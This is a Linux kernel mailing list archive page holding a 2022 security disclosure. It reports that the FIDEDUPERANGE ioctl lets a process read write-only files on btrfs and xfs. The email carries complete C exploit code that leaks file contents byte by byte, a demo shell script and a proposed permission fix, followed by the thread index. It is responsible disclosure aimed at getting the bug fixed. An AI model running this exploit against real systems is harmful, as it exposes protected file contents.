All of lore.kernel.org
 help / color / mirror / Atom feed
From: "Ansgar Lößer" <ansgar.loesser@tu-darmstadt.de>
To: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org,
	security@kernel.org
Cc: "Max Schlecht" <max.schlecht@informatik.hu-berlin.de>,
	"Björn Scheuermann" <scheuermann@kom.tu-darmstadt.de>
Subject: Information Leak: FIDEDUPERANGE ioctl allows reading writeonly files
Date: Tue, 12 Jul 2022 14:11:24 +0200	[thread overview]
Message-ID: <a7c93559-4ba1-df2f-7a85-55a143696405@tu-darmstadt.de> (raw)

Dear Mr. Viro,

using the deduplication API we found out, that the FIDEDUPERANGE ioctl 
syscall can be used to read a writeonly file.
A more formal description of the bug, an example code to exploit it and 
a proposed solution are attatched below.

In case of open questions please do not hesitate to contact us.

With best regards,
Ansgar Lößer


FIDEDUPERANGE ioctl allows reading writeonly files

The FIDEDUPERANGE ioctl can be used to read data from files that are 
supposed
to be writeonly on supported file systems (btrfs, xfs, ...).

confirmed on 5.18.3 (amd64, debian)
Reported-by: Ansgar Lößer (ansgar.loesser@kom.tu-darmstadt.de), Max Schlecht
(max.schlecht@informatik.hu-berlin.de) and Björn Scheuermann
(scheuermann@kom.tu-darmstadt.de)

The FIDEDUPERANGE ioctl is intended to be able to share physical storage for
multiple data blocks across files that contain identical data, on the 
same file
system. To do so, the ioctl takes a `src_fd` and `dest_fd`, as well as 
offset
and  length parameters, specifying data ranges should be tried to be
deduplicated. The ioctl then compares the contents of the data ranges and
returns the number of bytes that have been deduplicated.

The issue is, that while `src_fd` has to be open for reading, `dest_fd` only
has to be open for writing. Thus, multiple consecutive ioctl calls can 
be used
to read out the contents of `dest_fd`. This is done byte by byte, by trying
different input data, until getting a successful deduplication, indicating
equal content in the two data ranges. This technique works even if files are
marked as `append only` in btrfs.

The proposed fix is to change the required permissions, so that 
`dest_fd` has
to be open for reading as well.

exploit code (`read_writeonly.c`)
```C
#define _XOPEN_SOURCE 500 // pwrite
#include <linux/types.h>
#include <linux/fs.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <assert.h>

// use FIDEDUPERANGE ioctl to compare the target writeonly file (dest_fd)
// with the test file (src_fd)
int compare_fds(int src_fd, int dest_fd, __u64 offset, __u64 length)
{
     char buffer[sizeof(struct file_dedupe_range)
         + sizeof(struct file_dedupe_range_info)];
     struct file_dedupe_range* arg = (struct file_dedupe_range*)buffer;
     arg->src_offset = 0;
     arg->src_length = length;
     arg->dest_count = 1;
     arg->reserved1  = 0;
     arg->reserved2  = 0;

     struct file_dedupe_range_info* info = &arg->info[0];
     info->dest_fd = dest_fd;
     info->dest_offset = offset;
     info->reserved = 0;

     ioctl(src_fd, FIDEDUPERANGE, arg);
     printf("%d_%llu ", info->status, info->bytes_deduped);

     return info->status;
}

int main(int argc, char** argv)
{
     if (argc != 2)
     {
         fprintf(stderr, "./read_writeonly <filepath>\n");
         return 0;
     }

     // open the target writeonly file
     int target_fd = open(argv[1], O_WRONLY | O_APPEND);
     if (target_fd == -1)
     {
         fprintf(stderr, "failed to open \"%s\" with %d\n", argv[1], errno);
         return -1;
     }

     // create a test file to compare the target file with (via 
deduplication)
     int test_fd = open("test.tmp", O_RDWR | O_CREAT | O_TRUNC, 0777);
     if (test_fd == -1)
     {
         close(target_fd);
         fprintf(stderr, "fatal: failed to open test file with %d\n", 
errno);
         return -1;
     }

     __u64 file_offset = 0;
     do
     {
         int status;
         __u8 c;

         for (__u16 i = 0; i < 256; i++)
         {
             c = (__u8)i;
             __u64 offset = file_offset % 4096;
             __u64 length = offset + 1;
             __u64 block_offset = file_offset - offset;

             if (offset == 0)
             {
                 ftruncate(test_fd, 0);
             }

             pwrite(test_fd, &c, 1, offset);
             status = compare_fds(test_fd, target_fd, block_offset, length);

             if (status == FILE_DEDUPE_RANGE_SAME || status < 0)
             {
                 break;
             }
         }
         assert(status != FILE_DEDUPE_RANGE_DIFFERS);

         if (status < 0)
         {
             break;
         }

         putc(c, stdout);

         file_offset++;
     } while (1);

     close(target_fd);
     close(test_fd);
     unlink("test.tmp");

     return 0;
}
```

helper shell script (`test.sh`)
```sh
#!/bin/sh

gcc read_writeonly.c -o read_writeonly

# create writeonly file
touch writeonly.txt
chmod 220 writeonly.txt
echo "secret" > writeonly.txt
sudo chown 65535 writeonly.txt

# read from writeonly file
./read_writeonly writeonly.txt
```

proposed fix (read_writeonly.patch)
```
diff --git a/fs/remap_range.c b/fs/remap_range.c
index e112b54..ad5b44d 100644
--- a/fs/remap_range.c
+++ b/fs/remap_range.c
@@ -414,11 +414,11 @@ static bool allow_file_dedupe(struct file *file)

      if (capable(CAP_SYS_ADMIN))
          return true;
-    if (file->f_mode & FMODE_WRITE)
+    if ((file->f_mode & (FMODE_READ | FMODE_WRITE)) == (FMODE_READ | 
FMODE_WRITE))
          return true;
      if (uid_eq(current_fsuid(), i_uid_into_mnt(mnt_userns, inode)))
          return true;
-    if (!inode_permission(mnt_userns, inode, MAY_WRITE))
+    if (!inode_permission(mnt_userns, inode, MAY_READ | MAY_WRITE))
          return true;
      return false;
  }
```

-- 
M.Sc. Ansgar Lößer
Fachgebiet Kommunikationsnetze
Fachbereich für Elektrotechnik und Informationstechnik
Technische Universität Darmstadt

Rundeturmstraße 10
64283 Darmstadt

E-Mail: ansgar.loesser@kom.tu-darmstadt.de
http://www.kom.tu-darmstadt.de


             reply	other threads:[~2022-07-12 12:18 UTC|newest]

Thread overview: 33+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2022-07-12 12:11 Ansgar Lößer [this message]
2022-07-12 17:33 ` Information Leak: FIDEDUPERANGE ioctl allows reading writeonly files Linus Torvalds
2022-07-12 18:43   ` Matthew Wilcox
2022-07-12 18:47     ` Linus Torvalds
2022-07-12 18:51       ` Linus Torvalds
2022-07-12 19:02   ` Josef Bacik
2022-07-12 19:07     ` Linus Torvalds
2022-07-12 19:23       ` Linus Torvalds
2022-07-12 20:03       ` Josef Bacik
2022-07-12 20:48         ` Linus Torvalds
2022-07-13  0:48           ` Darrick J. Wong
2022-07-13  2:58             ` Linus Torvalds
2022-07-13  4:14               ` Linus Torvalds
2022-07-13  6:46               ` Dave Chinner
2022-07-13  7:49                 ` [PATCH] fs/remap: constrain dedupe of EOF blocks Dave Chinner
2022-07-13  8:19                   ` Linus Torvalds
2022-07-13 17:18                   ` Ansgar Lößer
2022-07-13 17:26                     ` Linus Torvalds
2022-07-13 18:51                       ` [PATCH] vf/remap: return the amount of bytes actually deduplicated Ansgar Lößer
2022-07-13 19:09                         ` Linus Torvalds
2022-07-14  0:22                         ` Dave Chinner
2022-07-14  1:03                           ` Linus Torvalds
2022-07-16 21:15                           ` Mark Fasheh
2022-07-14 22:32                         ` Dave Chinner
2022-07-14 22:42                           ` Linus Torvalds
2022-07-14 23:15                             ` Dave Chinner
2022-07-13  8:16                 ` Information Leak: FIDEDUPERANGE ioctl allows reading writeonly files Linus Torvalds
2022-07-13 23:48                   ` Dave Chinner
2022-07-13 17:17                 ` Ansgar Lößer
2022-07-13 17:16             ` Ansgar Lößer
2022-07-13 22:43               ` Dave Chinner
2022-07-13 17:14   ` Ansgar Lößer
2022-07-13 18:03     ` Linus Torvalds

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=a7c93559-4ba1-df2f-7a85-55a143696405@tu-darmstadt.de \
    --to=ansgar.loesser@tu-darmstadt.de \
    --cc=ansgar.loesser@kom.tu-darmstadt.de \
    --cc=linux-fsdevel@vger.kernel.org \
    --cc=max.schlecht@informatik.hu-berlin.de \
    --cc=scheuermann@kom.tu-darmstadt.de \
    --cc=security@kernel.org \
    --cc=viro@zeniv.linux.org.uk \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.